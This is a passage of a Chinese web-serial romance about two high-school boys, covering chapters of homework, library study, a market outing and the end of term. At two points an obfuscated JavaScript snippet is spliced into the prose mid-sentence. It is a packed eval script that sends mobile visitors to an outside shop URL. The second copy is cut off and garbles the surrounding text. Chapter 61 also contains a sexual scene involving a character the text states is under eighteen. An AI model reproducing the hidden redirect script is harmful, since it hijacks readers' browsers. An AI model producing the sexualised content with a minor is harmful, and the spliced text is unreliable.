程抒晴叹了口气。 身后忽然响起一道声音:“小小年纪别总叹气。” 程抒晴后背一僵:“你怎么在这里。” “臊眉耷眼的,怎么,表白失败了?”青年没搭理她的问话,绕到她面前,“仗着我不敢动你,你悉心安排了好一出精彩的逃亡戏码,可惜这都没能让人动心。看来他根本不适合你,阿晴。” “不准这么叫我,”程抒晴想要绕开他走,“离我远点。” “别看了,”青年一直跟在她身后,“你喜欢的小白脸和另一个小冷脸住一起呢,他俩亲密得不得了。哦,有次我在街上撞见他们,十几岁的小孩居然手拉手逛街,谁家兄弟这么黏糊?你比不过的,放弃吧。” 程抒晴加快脚步,想甩掉他:“要你管,就知道说风凉话。” 青年拉了她一把:“小心台阶。啧,多大了还不让人省心,走慢点,我又不会吃了你。” 程抒晴瞥了眼他的脸色,忽然想起那种形容不出的感觉是什么了。 桑群笑着说阮牧年还没回复他的表白时,眼里的情绪好像就是如此。 宠溺里带着温柔。 她低声嘀咕:“你们年上都这么喜欢照顾人吗……” “说什么呢,别是在骂我,”青年拍了拍她的脑袋,单手帮她拎起书包带子,“别犟了,书包给我,你才高二,怎么背这么多东西。” 程抒晴没拒绝他,只是轻哼:“不是谁都像你一样不学无术。” “是,我是学渣,”青年叹了口气,“走吧,送你去公交站,大小姐?” “书包是有些重,但那是你强行要拿的,不代表我就原谅你了。”程抒晴义正言辞。 “是是,我臭不要脸贴上来的。” “我虽然没有追到人,但不代表你出现我就会重新喜欢你。我现在没有喜欢任何人。” “嗯对,模范生不早恋。” “你不要没骨气得好像我很霸道一样,我在跟你讲道理。” “好吧,你不霸道,那我可以送你到家楼下吗?” “想得美,我爸爸一扫帚给你抽回你的大专去。” “喂喂,讲点道理,虽然我没过特殊线,但二本和大专还是不一样的……” “反正没什么区别。” “真是服了你了祖宗。哟,前面是你小时候最喜欢的甜品店,进去看看?” “你好烦,我减肥呢,赶紧回家。” …… “怎么才回来?” 阮牧年正在解背后的围裙绑带,偏过头看玄关换鞋的桑群:“你的作业没漏带啊。” “去扫地了,”桑群随口敷衍,踩着拖鞋走过来,“晚上吃什么?” “我跟你讲,今晚我可是下了大功夫,”阮牧年嘻嘻笑着收起围裙,“市场鸭肉打折,我想起之前吃的柠檬酸菜鱼,于是把它们结合了一下……” 桑群到桌边看了一眼,柠檬鸭,肉片得均匀鲜薄,还有其他刚出锅的菜,很香,热气腾腾的。 肚子忽然被人摸了摸,阮牧年从背后抱上来,脑袋搭在他肩膀上:“你怎么好像不饿的样子?” 桑群刚想低头问他为什么这样说,唇边就被人含住,毫无防备地被舔了一圈,分开时才反应过来。 “你……” “你去买汽水喝了?”阮牧年失望地看着他,“是不是根本吃不下晚饭了?” “你不要随便乱舔,”桑群无奈地拨开他的脑袋,“不会,吃得下。” 阮牧年歪着脑袋看他:“真的嘛?” 桑群轻笑:“你试试看。” 61. 61 试过之后,桌上的饭菜全被桑群扫荡一空。 “这么好吃嘛?你怎么比我还饿,”阮牧年捧着碗,“我中午汽水还没喝完呢。” 桑群点头:“好吃多做。” 阮牧年凑上来:“不再多说几个字?” “别过来,”桑群皱眉后仰,“油。” 阮牧年耷拉着眼皮缩回去。 桑群拍了拍他的脑袋:“很美味,做得跟我妈妈做的一样好吃,年年大厨。” 大厨不语,肉眼可见地高兴起来。 吃完洗碗,刚合上柜门,脚边就靠过来一道影子:“明天有空吗?” “有,怎么了?” “我们去图书馆吧,”阮牧年说,“你昨天没来,有几节课划了期末考点,赶紧趁周末补一下。” “……哦。” 坐到书桌边,从书包里掏课本的功夫,身边总有一道影子转来转去。 桑群无奈抬头:“你作业写完了?” 阮牧年点头:“嗯嗯。” “期末考复习完了?” “我比老师的复习进度快了一单元。”阮牧年即答。 “很无聊?” 阮牧年本想点头,但点到一半又摇了摇:“还行啊。” “那你这是在干什么?” 桑群看着他百思不得其解。 “没干嘛啊,我打发时间呢,”阮牧年背着手绕着茶几走了两圈,“你写你的作业,先做物理哦。” 桑群又看了他两眼,翻开了自己的练习册。 没写两题,桌面上就投下另一道黑影。 怎么又晃过来了,桑群硬着头皮往下写,结果某人毫不收敛,存在感极强,后颈隐隐有温热的气流扑过来。 写不下去了,桑群跟带电粒子大眼瞪小眼,握笔的手指僵硬在桌上。 “嗯?不会做吗,”安静了几分钟,阮牧年开口,“哥哥教你呀。” 肩膀一沉,某人贴着他伸出手,拢在他手背上,带着他圈起某个条件:“看这里,推一下这个质子的受力方向……” 颈边被身后人的发丝挠得发痒,笔下被带着轻勾出各种公式和符号,循循细语落在耳边,激起一阵阵酥麻,桑群眼睁睁看着那道题自己长出答案。 “懂了吗?”阮牧年低声问。 桑群大脑一片空白:“……没懂。” “哪里没讲明白吗?”阮牧年贴得更紧了,“你说,我再讲一遍。” 桑群滚了滚喉结,想要挣开他:“我自己再想一想,你……别老贴着,热。” 阮牧年没动,还把他要挪开的肩膀扣住:“不热呀,今天都没超过10°。” 桑群受不了了:“你到底想干什么——!” 阮牧年往前探了探身子,直勾勾看着他:“没想干什么呀。” 桑群:“……” 狗都不信。 他搁笔捏住阮牧年的脸颊,警告他:“阮牧年,别逼我揍你。” 阮牧年眨了眨眼:“说了你就不会揍我吗?” 桑群:“……看情况。” 阮牧年撇了撇嘴:“嘁,那我才不说呢。” 他拿掉桑群捏自己的手,软绵绵地贴在对方脖子边,指着那道题:“快写。” 桑群:“你想辅导我的话,拉把椅子坐旁边不行吗?为什么非得黏在身后?” 阮牧年:“我就要这样。” 笔尖在括号上方停留了好一会儿,最终还是没能落下去,桑群撑着额角,肩膀十分沉重。 阮牧年问:“你怎么心不在焉的?” 桑群反问:“因为谁?” “不知道呀,”阮牧年装傻,“要不留明天再写吧,我们去一边玩好了。” 桑群:“玩什么?” 颈边猝不及防被人湿漉漉舔了一下,肩膀上的挂件说:“玩这个好不好?” 桑群没忍住抖了一下,随即就想把人推开,结果伸出去的手腕很快就被抓住。 他咬牙切齿:“你晃悠一晚上就是为了这个?” “不可以吗?”阮牧年定定地看着他,目光落在那瓣看起来薄削平直实际上柔软无比的唇,“上次你教我的,我都学会了。让我试试吧,我会做好的。” 那目光有如实质,桑群错觉自己的唇正在被对方揉捏。他立马回绝:“不可以。” 阮牧年失落:“为什么?” 桑群挣开他的手:“那你呢,你又为什么想这样做?” 阮牧年:“想做就……” “阮牧年,中午的话你还没回答我,”桑群的手掌搭在他脸侧,“如果真就这样不明不白下去……那才叫偷情吧?” 阮牧年没声儿了。 修长泛凉的指尖轻轻摩挲脸颊,从耳鬓到鼻尖,最后点在下巴凹陷处。 桑群仰首凑近,低声问他:“想接吻吗。” 阮牧年连忙张口,却在碰到对方的前一秒被捂住嘴。 桑群的尾指抵在他鼻畔,既给他留出了呼吸的空间,又完全挡住了他的唇。 “不可以的,阮牧年,”桑群注视着他,贴在自己的手背上说,“兄弟之间怎么可以牵手、拥抱和接吻呢,这是不对的。如果你找不到新的立场反驳我,就只能遵守这条伦理底线。” 阮牧年想摇头,却被桑群紧紧按着脑袋,看着自己扣在对方肩膀上的手指被一根一根掰开,然后唇上的手一松,被桑群彻底拒之门外。 “不要……”他慌忙伸出手臂,想要抓住什么,然而桑群早有预料,抢先一步转过他的肩膀,把人往外面推。 “你吵得我写不下作业,”桑群推着他说,“不如直接睡觉吧,今晚我睡床。” 彻底倒进沙发前,阮牧年还在挣扎:“不,我不要……” 真是头疼,桑群单手叉腰俯视他:“那你要怎样?” 阮牧年抿了抿唇,看着他不说话。 哈,真是拿这家伙没办法。 本想给他立规矩,却低估了自己的心软程度。桑群微微皱眉,俯身拨开阮牧年方才动作间弄得凌乱的额发:“怎么不说话?” “就算要睡觉,”阮牧年嘟囔,“不能有晚安吻吗?” 桑群看他:“你多大了?” 阮牧年坐着比了一下自己的身高,只到桑群腰间:“我只有这么大!” “你这个年纪,只能亲额头,”桑群拿开他顺便摸上来的手,“亲完睡觉?” 唇刚离开额头,下巴就被人追着舔了一下。 桑群眼疾手快地按住他:“小朋友不要学大人亲嘴。” “你怎么可以这样,”被拒绝了一晚上,阮牧年委屈极了,“你昨晚还说可以随便提要求,会一直陪着我。” 说着爱他的鬼话,结果却不让他碰。 讨厌死了,桑群是大坏蛋。 桑群摸了摸他的脑袋:“那我问你是不是喜欢我的时候,你是怎么回答的?” 方才还在不满的小面包瞬间瘪了一半。 “你说不是,”桑群手下用力,声音依旧平缓,“既然不是,那就不能随心所欲……难道,你是想跟我偷情么?” “我……” “把我当桑群,或者当成陌生的偷情对象,”桑群给了他选择,“选一个吧。” “……我选不出来。” “这世上没有两全的事。” 既想要家人兄弟,又想要逃避感情,借桑群满足他的私欲,哪儿有这么好的事。 阮牧年不愿意承认,那他只好站远一步,等他松口的那一天。 衣角被人死死攥着,沙发上的人却一声不吭。 桑群叹了口气:“犟。那我替你选了。” 身上的衣料立刻被拉扯了一下,很明显不愿意他离开,桑群用指尖挑起他的下巴,轻轻覆上去。 阮牧年瞬间抱紧他的腰,仰头哼唧起来。 桑群慢条斯理地吻他,手指有一下没一下地揉捏那柔软的脸颊肉。 “舒服么,”桑群贴着他低声,“很喜欢?” “嗯嗯……”阮牧年抓着他后腰,被亲得后仰到沙发靠背上。 “很入迷的样子啊,”桑群轻嗤,摸到他后脑勺,“可是亲你的人既不是什么哥哥弟弟,也不是你最依赖的桑桑。这个人甚至不会顾及你喜欢什么样的力度什么样的节奏,即便如此,你也能接受吗?” 阮牧年的动作僵硬了一瞬。 “你还会享受吗?”桑群仍在低语。 阮牧年的手挪回了侧腰,似乎想要推开他。 “现在想逃脱已经晚了。”桑群说。 舌尖忽然被人咬了一下,阮牧年疼得一抖,腿间就挤进一个膝盖,沙发凹陷一块下去。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356339|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唔……” 他睁开眼,迷离的目光落在桑群垂眸的脸上,近在咫尺的模样既熟悉又陌生。那一如既往的眼角弧度分明就是桑群本人,可对方却并不温柔,也从不看他,都掀开衣摆摸了进来,却还是没有开口哄他,好像真的就是某个素不相识的偷情对象。 好难受,哪里出错了? 察觉到底下人逐渐软化的回应,桑群心想应该逗够了,抚摸到胯骨的指尖打了个圈,打算撤回来。 却忽然被阮牧年按住。 满脸羞红的少年仰看着他,一侧大腿还贴在他腰上,手指温热地发颤。 “等等……”阮牧年别过脸,不敢看他,“不能……碰,你还没成年……” 桑群怔在原地:“……” 桑群:“哈?” 阮牧年红着脸把自己的腿缩起来,滚到一边去,小声说:“好、好了,亲够了,可以睡觉了……” “啧。” 本来没想碰的,谁知这家伙这么敏感,桑群看了他一眼,阮牧年正扯着自己的衣摆,不让他看。 真神奇,每次阮牧年有反应不想让他看的时候,都格外可爱。上次变成了撞人的不倒翁,这次是什么?翻滚的虾条吗。 桑群眯了眯眼,凑过去:“需要帮忙吗。” 阮牧年连忙把自己埋进枕头里:“不了不了,我不能祸害未成年……” 被强调自己年纪小真是令人不爽,桑群戳了戳虾条的背:“你又不是未成年,不能碰你么。” “也不可以!”阮牧年在枕头里说。 行吧,桑群擦了一下脸边蹭到的口水,站着看他:“我去洗漱了。” “嗯,”阮牧年趴在那里闷声,“我待会儿就去。” 桑群站着没动,看熟透的小红虾还挺有意思的。 没过多久,虾条蛄蛹了一下,抓着枕头的手放开一只,悄悄摸到腰边,松了松裤腰带,然后贴着沙发蹭了蹭。 “嗯……”阮牧年轻轻哼唧了一声,红着耳朵翻出半张番茄脸,呼吸了一下新鲜空气,然后睁开眼。 正对上桑群观察他的视线。 桑群挑了挑眉。 阮牧年吓了一跳,顿时趴了回去,还把手全部抱在后脑上:“你、你怎么还在这里……” “难受么,”桑群在他身边坐下,摸了摸虾条热热的后背,“不要觉得不好意思,憋着不好。” “没事的,一会儿就好了……” 桑群却贴着他的后颈说:“没关系。偷情的话,就算是破坏伦理崩乱纲常,又有什么大不了的呢?” 阮牧年终于受不了了:“我不跟你偷情了,不要再这样了!我要我的桑桑呜……” 桑群无奈叹了口气,把人捞起来放到腿上:“笨蛋,真的不用帮?” 阮牧年抱着他摇了摇头,贴在桑群微凉的皮肤上给自己降温,低声说:“不用,我这样抱你一会儿就好了。” 桑群一下下轻拍他的背,阮牧年扭了扭身子,调整了几次坐姿还是觉得不舒服,没忍住低头看了一眼。 “啊,”阮牧年小声说,“桑桑,你怎么也……” “嗯,”桑群没有掩饰,“跟你一样。” “你怎么不脸红啊。”阮牧年捧着他的脸问。 看桑群的样子,要不是他坐过来发现异样,还以为对方是个性冷淡。 “红了,”桑群平静地看着他,拉过他的手摸到自己的耳尖,“你摸。” 藏在鬓发下的耳朵滚烫无比,跟他的脸颊一样,阮牧年后知后觉感受到这种同频振动的悸动,心里泛开一阵难以言喻的甜。 而这种感觉是偷情带不来的,是只要性、不要爱,带不来的。 他好像隐隐明白桑群的用意了,虽然他还是不敢迈出那一步,不敢承认自己的感情,但桑群一直在前面引导着他,牵他走出这一步。 可能需要很久,一周两周,甚至一年两年,但在他迈步之前,桑群一直都在。 不难受了,只觉得好安心。 后腰被人拍了拍,桑群提醒他:“别睡过去了,还没换睡衣洗漱。” 屁股下的坐垫已经变得平坦,阮牧年舒服地蹭了蹭,指了指自己微凸几毫米的裤|裆跟他炫耀:“我比你久哦。” 桑群:“?” “滚,”桑群一巴掌给他掀下去,“这也要比。” 62. 62 大好周末,晴空万里,正是睡懒觉的好时机。 本该与被子枕头缠绵到日上三竿的刘嘉却站在了市图书馆门口。 高大辉煌的图书馆闪烁着智慧的圣洁光芒,正等待着每一位虔诚的学子踏入其中。 刘嘉原地打了个哈欠。 救命,要不是昨晚牧年忽然给他发消息说明天要进行学习小组急训,他根本不会来这里! 期末将近,上次月考他物理退步了几名,差点连六爷都没考过。 刘嘉叹了口气,行吧,为了美好的寒假,这个苦他只能含泪咽下。 循着牧年给的消息找到了I16区,临江的落地窗边,后桌两人并排坐着,都在非常认真地学习。 方才还心生退意的刘嘉顿时感到懊悔,连六爷都这么用功,他还有什么理由不努力。 刘嘉正准备从书架后面穿过去,就见六爷推了一半练习册过来,似乎是有疑问。 牧年很快抬起手要给他解答……等等,为什么没有接笔,而是摸了一下六爷的脸? 刘嘉挠了挠头,这大冬天的还有蚊子吗,图书馆怎么保洁的。 六爷很快拍开了同桌的爪子,把笔塞过去。 阮牧年正要给他讲解,余光瞥见书架边的身影,看见了小组的最后一个成员。 他将笔记本里的某张纸抽出来,递给刘嘉,示意他先查缺补漏一下,然后轻声讲起了桑群问的题目。 “……最后再套一个机械能守恒公式,算出这个势能,明白了吗?” “哦。”桑群点头,拿回笔自己去草稿纸上演算了。 小组成员都在按照计划有条不紊地学习中,阮牧年转了一圈笔,课本的知识点第不知道多少次落入脑中的知识体系,已经巩固到能默背的程度,他翻过一页,这一单元又结束了。 真无聊,要不是昨晚耽搁了,他今天还能骚扰一下桑群解闷。 对桌的刘嘉递过来一张纸条,阮牧年扫了一眼,在草稿纸上给他列了思路,又推回去。 桑群偶然瞥到,思考着自己是不是也应该递纸条交流,维护图书馆的安静氛围。 似乎是猜到他在想什么,阮牧年手肘怼了他一下,摇头。 桑群瞪了他一眼,继续写自己的题目去了。 刘嘉见怪不怪地低头演算,六爷和牧年的眼神交流真是适合图书馆场景的无纸化沟通啊。 被某人一大早拉来学习,桑群起床气还没散完,苦大仇深地盯着手里的习题。 基础题都会做,中等题类型很眼熟,一对答案正确率砍半,难题除了第一小问其余的毫无思路,烦死了。 磕磕绊绊写完了这几天落下的作业,同桌给的清单上还要整理错题,这么多,整理到明年吗? 桑群撕了张便签纸下来,写好丢给同桌。 阮牧年正在草稿本上画小人,笔尖被一个纸团砸到,他打开一看,每个字入木三分。 【这破题非整不可吗】 他没忍住笑了一下,偏头冲桑群抬了抬下巴。 桑群不情不愿地把自己满是红笔痕迹的作业推过来。 “耐下心来,梳理每道错题之间的共通性,”阮牧年翻到第一道错题,轻声道,“换个颜色,我说你记。” 桑群点了下头,掏出蓝笔。 作业被阮牧年拉远了,他不得不用左臂撑在椅面上,向□□身去看题。 同桌莹润的指尖轻点在题目上,指甲偶尔擦过纸面,发出细微的声响。 阮牧年对他的情况了如指掌,三言两语便将几道错题归纳为了同一题型的不熟练,顺便给他举一反三融会贯通。 有些烦躁的心情逐渐平静,桑群跟着他的思路动笔,逐渐找到一些做题的感觉了。 很通透,不愧是学霸年年。 就是思路畅通的同时,还有些微弱的瘙痒感。 像被什么毛绒球挠了——图书馆这个季节还有蚊子? 写完又一类题型,桑群实在忍不住,低头看了一眼。 就见自己撑在椅子上的手指正抵着另一只右手,时不时被该手蹭蹭摸摸。 桑群抬眸,阮牧年对上他的视线,无辜地眨了眨眼,仿佛底下的小动作不是他干的。 “……” 他当即就要收回手。 阮牧年连忙抓住他的指尖,挽留地捏了一下。 桑群眯了眯眼。 阮牧年偏过脸,目光掩饰地看向题目,生硬地衔接到下一道题的讲解。 讲得挺好……如果他底下没有揉自己手指的话。 图书馆不适合骂人,对桌还坐着同学,桑群说服自己继续听讲,可某人的存在感越来越强烈,贴贴还不够,顺着指缝都要扣进来了。 桑群收紧指节夹了他一下,阮牧年话音微顿,手安静了一会儿,然后小心翼翼地钻到他掌心,打圈认错。 哼,还算有眼力见,桑群受用地将他的手指包住,抓在掌心里轻点。 阮牧年忽然不说话了,桑群看他,对方这一侧的眼睑微微泛红。 他不着痕迹地勾了勾唇角,第一次开口轻声接话:“进入中间磁场,然后呢?” 阮牧年依旧没开口,指尖在纸上点着。 桑群一看,点了三个字,向、氢、拟。 什么意思? 嘶。 ……想亲你。 这下轮到桑群捏不住笔了,桌下两人的手还缠得紧紧的,明明是冬天,为什么这么热? 很新奇的感觉。如昨晚阮牧年所说,他们之间想做什么往往当下就做了,可眼前正是无法随心所欲的场合,对桌的同学、安静的场馆、左右或阅读或自习的陌生人,学习氛围浓厚。 静谧的空间里,心动无声疯长喧嚣。 掌心都冒汗了,黏黏的,难怪阮牧年的手指半点不挪动。 桑群伸出拇指抵着他的手背推了一下,阮牧年却用尾指回勾住他的食指。 他抿了抿唇,在纸上找到一个字,用笔尖点了点。 【年】 他本意是想说手很黏,不舒服,赶紧松开。 却不知阮牧年理解成什么了,指了“好”,又翻页找到一个“怪”。 说什么呢,桑群还在纸上找字,对桌忽然抛来一个纸团,抬眼一看,刘嘉正认真地盯着他俩。 阮牧年手指抖了一下,桑群连忙缩回手,搭到大腿上。明明只是桌下的动作,对面不一定会察觉,两人还是有些心虚。 阮牧年打开纸团,刘嘉问他们准备什么时候去吃午饭。 两人对视一眼,彼此都松了口气。 事已至此,先吃饭吧。 午饭后又学到闭馆前半小时,下午阮牧年有所收敛,没有抓着他的手不放,只是偶尔过来捏捏蹭蹭。 小组急训结束,组员们的复习进度都有增长,离期末没几周了,学校自习课再赶一赶,应该就差不多了。 三人在图书馆外的公交站分别,阮牧年看了桑群一眼:“下一班11路还有3分钟,下下班还有一小时。” 桑群单手插兜:“着急回家?” 阮牧年:“没啊。” 桑群哼笑:“走吧。” 阮牧年也笑了,跟上他。 图书馆临江而建,跟市区隔着一条跨江大桥,大概一公里长。 而桥的那边,有一个小却热闹的集市。 桑群第一次来图书馆的时候,认真研究过地图,带他去那边玩了。 两个小朋友为一块白糕绞尽脑汁换零钱的往事还历历在目,小时候长得望不到头的大桥原来也才几分钟路程,江边的晚风不急不烈,轻轻抚过两人的发丝。 偶尔有电动车驶过,取代了记忆里的自行车,桥面似乎翻新过,重新划分了人行道和机动车道,曾经跳着才能越过的井盖,现在一大步就能跨过。 时岁变迁,但偏过头,与他并肩走过的人依旧没变。 指节轻动,阮牧年抬了下食指,碰到了旁边人的手背。 桑群看了他一眼,扣过他的手把人往这边拽,与此同时一辆加速的电动车擦边开过。 “路都走不直。”桑群斥道。 阮牧年回过神,挤进他指缝,像过去那样十指相扣:“本来就弯弯的呀。” “嗯?”桑群没听懂他在说什么。 阮牧年没接下去,只说:“我们要买些什么?” 桑群:“晚饭食材。” 阮牧年:“还有呢?” “适量的零食,”桑群停顿了很久,等手指被人重重捏了一下,才补充道,“哦,还有你最喜欢的白糕。” “太棒了,这次可以买五斤吗?” “……你想长蛀牙吗?儿童牙医不会接你这种病患的。” “也不一定就我一个人吃呀。” “不行,按照以前的量来。” “噢。” 到了地方,阮牧年打听得知某个小摊搬了位置,于是跟桑群商量分头采购,桑群负责去买白糕。 到了熟悉的店铺面前,老板在柜台前忙活,见到他热情地打了个招呼:“哟,好久不见了。” 桑群点头,刚想跟以前一样自己挑,就见柜台前站着另一位陌生客人。 那客人正敞着一个塑料袋,对分盘里的两类糕点犯愁:“它们到底有什么区别?” 老板头都大了:“小伙子,我都说了,这两种没什么区别,最多其中一个泡起来好吃,另一个干着好吃,但那个口感差异特别特别小,基本尝不出来,你把它们当同一种就好了!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356340|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那客人却坚持:“它们的名称不一样,装的盘子也不一样,怎么可以混为一谈。照你所说,泡水和干吃分别有什么讲究?” “哎呦,你们这些学生仔,怎么这么较真……” 桑群拿好袋子,对那人说:“让让。” 那人让开,桑群隔着手套抓了一把对方纠结的其中一盘糕点,放进塑料袋,然后准备再抓点别的。 谁知被人叫住:“等等,同学,你为什么选择了左边那盘?” 桑群又抓了另一种糕点,才有空抬头看那人一眼,黑框眼镜,黑色卫衣,校服裤,像那种刻板印象里的四眼仔。 “剩的少。”桑群言简意赅。 没再理会这人,桑群很快挑完了糕点,拿去称斤结账。 付钱的时候,阮牧年也找来了:“好消息,我买东西的时候老板娘说她女儿是我学妹,给我打折啦。” “嗯,真棒,”桑群点头,“这边老板没给我打折。” “嘿你小子,”老板就站在旁边,“你们说话真是不避人啊,生怕我听不到呐?好歹也是看着你俩长大的,零头抹了,拿去拿去。” “四舍五舍嘛,谢谢老板!”阮牧年嘴甜捧了好几句,逗得老板喜笑颜开。 准备走的时候,阮牧年目光一顿,咦了一声。 “怎么了。”桑群问。 “那人好眼熟啊,”阮牧年盯着那个眼镜,“感觉在哪里见过。” 认识?难道是同学吗,桑群毫无印象。 就在这时,又一人闯了进来,动静很大。 仔细一看,才发现他是踩着滑板进店的,落地收板的动作很利索,直冲那眼镜奔去:“你到底在磨蹭什么?” 眼镜:“这两款糕点让我很纠结……” “那就全要了!”滑板很不耐烦。 “不行,”眼镜坚持,“我只能再挑一种。” 热闹还没看完,身边人忽然出声:“嗨,没想到在这里碰见了。” 桑群惊讶地在阮牧年和这两人之间扫视,真是同学?完了,他根本记不起来。 滑板这才抬头看见他们:“阮牧年?好巧,你也来买甜点啊。” 眼镜:“阮牧年?谁啊。” 桑群竟有些安慰,原来不止他一人脸盲。 “就之前友谊赛二中的前锋啊,扣高澄帽的那个,”滑板上手拽对方的袋子,“你快点,俱乐部的人在催了。” “哦,老师昨天说的物理竞赛一等奖吗,”眼镜恍然大悟,对阮牧年点头,“你好。” 阮牧年:“呃……你好。” 滑板三下五除二替他同伴决定了最后一种糕点,迅速结账付款,然后拽着人就跑……不是,滑走了。 走前还不忘跟阮牧年说了声:“下次打球再约!” “好嘞。” 桑群琢磨过来:“不是我们学校的?” “嗯,三中的,之前篮球赛跟我们打过,”阮牧年拎着袋子跟他往外走,“那个滑滑板的叫步屿,你不记得了?就是三中那队的后卫,他那时脸上还贴着创可贴呢。” 桑群回想了半天:“可能……有印象吧。” 阮牧年叹了口气:“我真的好奇班上的人你认全了吗?” 桑群很诚实:“没。” 阮牧年:“……那你脑子都拿去记什么了啊。” 桑群:“记你。” 阮牧年:“……” 他不自在地偏过脸去:“干、干嘛忽然说这种话……” “本来就只记得住你一个人,”桑群理直气壮,“是你要我多跟别人交流的。最后也没记住几个,只有你记得最清楚。” 阮牧年低低应了声:“哦。” 应完脚步不自觉加快,走得像蹦一样,肉眼可见的高兴。 桑群朝他伸出手。 阮牧年很快牵住他的手,跟他十指相扣。 “我的意思是袋子给我一点。”桑群无语。 阮牧年失望:“不能牵手吗?” 桑群给两人分配好了袋子,然后才牵住他空出来的手:“没说不准。” 阮牧年阴霾尽散:“怎么回去呀,走回图书馆坐公交车嘛?” “试试别的路?” “好啊,往哪里走?” “这里。那边小巷过去就是大马路。” “你怎么知道?” “很久以前,我家住在这附近,所以当年才带你过来玩。” “哇,不是特地研究地图的吗?” “谁没事研究那玩意儿。” “那你岂不是撒谎骗人了,好坏。” “逗小孩你还真信了,好笨。” “哎呀,看来坏蛋只能跟笨蛋在一块了。” “嗯,当然。” 63. 63 又一阵强降温来袭,二中迎来了本学期的期末考试。 阮牧年收拾好抽屉,拿着笔袋往第一考场走去。 座位序号从教室里侧一列开始排,整个考场大概三十几个座位。 入座后,阮牧年习惯性偏过头,熟悉的窗边坐着陌生的男生。 程抒晴不在第一考场。 上次的绯闻风波最后以她发帖澄清告终,各种麻烦也随之消失。 自那之后,两人没再私下见过面,遇上课代表的共同事务也只是公事公办,没多一句闲话。 上一次月考,阮牧年没在年段榜前排看见她的名字,即便说开后,可能还是对对方有所影响。 急促的铃声骤然响起,阮牧年回过神,讲台上的监考老师正在发试卷。 这学期也快结束了,等到新的学期,事情应该会不一样吧。 最后一科交卷,回到教室,桑群破天荒地也回来了。 寒假在即,班主任要安排同学们收拾书箱,打扫卫生,吩咐寒假事宜和布置作业。 讲台下一片暗潮涌动,平时针都不敢掉的同学们几乎都在窃窃私语,难捺放假的喜悦。 就连向来坐姿端正的阮牧年都□□稍微压了压身子,低声问:“书箱你搬吗?” 桑群:“不。” 阮牧年继续道:“我得搬一部分走,你书包还有多少空位?” 桑群低头看了一眼:“我可以都不带。” 阮牧年:“寒假作业也不带吗?” 桑群:“不都是卷子吗,捏着也能拿。” 阮牧年看了他一眼,忽然坐直了。 下一秒,班主任开始发这学期最后一次火。 “知道你们身在曹营心在汉,我也急着放假,最后几分钟不能静下心来好好听一下吗?下学期谁要是没有按要求完成作业,不要哭着来找我……” 好不容易敲铃放学,心急的同学欢呼着冲出教室,结伴的同学合伙搬运沉重的书箱。 阮牧年从自己的箱子里搬出一摞书,放在同桌桌上:“就这些。” 桑群仰头看这座比他还高的山:“……你不如一箱子都搬了。” 阮牧年摇头:“太多了,我搬不回去啊。” 桑群看过去:“真的要回去?” 阮牧年倚着课桌点头:“是啊。” 桑群站起身,拿出自己空荡荡的书包:“行,收拾吧。” 路过后排的体委:“哟,六爷牧年一块儿回家啊?” 阮牧年:“嗯……嗯?” 体委很快走到后门:“下学期见!” “我也要走了,还得去接我弟,他也是今天考完,”刘嘉背起书包,“六爷、牧年,下学期见!” 阮牧年笑着挥了挥手:“拜拜。” 桑群:“……再见。” 总觉得自己说这一句很多余。 没想到有人回应了他,班长提着帆布包对他点了点头:“下学期见。” 教室里的人逐渐走光,阮牧年终于拉上了紧绷的书包拉链,将装不下的书分给桑群一半:“走吧。” 桑群单手抱起:“跟房东说好了吗?” “嗯,我跟她说了今天放假,”阮牧年搬起书跟他一块往外走,“到时候收拾好了,把钥匙给隔壁姐姐就可以了,她会转交给房东。” 桑群点了点头,走了一会儿才道:“陈姐之前给我介绍了一份工作,不出意外的话明天就可以上岗,你……” “你在担心我吗?”阮牧年看着他,“放假开头我肯定要好好写作业的,不用多虑啦。” “想多了,”桑群哼了一声,“就是跟你说一声。” 接近校门口,撞见了意料之外的熟人。 程抒晴正踢着她的书箱从斜坡下来,结果箱子滑轮太矮,卡在了校门铁门槛上。 她追过来的时候正好跟阮牧年对上视线,不尴不尬地笑了一下:“嗨。” 阮牧年慢下脚步,对她点了点头。 反倒是桑群开口:“要帮忙吗?” “啊没事,我自己搬一下就……” 话音未落,书箱就被另一双手抬起来,青年笑吟吟地跟瞪眼的保安解释:“别误会,我真的是家长,来接妹妹放学。” 桑群看了那人一眼:“原来你也有哥哥。” “啊哈哈,”程抒晴干笑了一下,没接这句话,只是推着青年往外走,回头跟他们挥手,“你们也快回去吧,下学期见!” 桑群:“再见。” 看她走远,阮牧年皱起眉:“那个人不是骚扰她的社会青年吗?” “追你们那个?” “是啊,”阮牧年没想明白,“怎么就变成她哥了。” “不知道,”桑群看他,“重要吗?” 阮牧年摇头:“……不重要。” “那不就是了,”桑群跨出校门,“赶紧走吧,说不定能赶上晚饭。” 事实上挺悬的。 今女士赶到的时候,两人刚收拾好行李箱。 “嚯,”她走进来参观了一圈,“冰箱里还有食材,鞋架上的鞋子也没收,被子枕头都好好躺在原地——收拾得不错啊,看来是打算过两天再来度度假?” “你有空冷嘲热讽,”桑群正在跟阮牧年合力将棉被塞进麻袋里,“不如过来帮忙。” 桑母掏出几个袋子:“来了。” 终于将一堆东西推上车后备箱,桑母坐进驾驶座:“接下来去哪儿?” 桑群:“先送年年回去。” 桑母看了眼后视镜:“不来阿姨家吃饭吗?我早上特地去市场买了只鸡呢。” 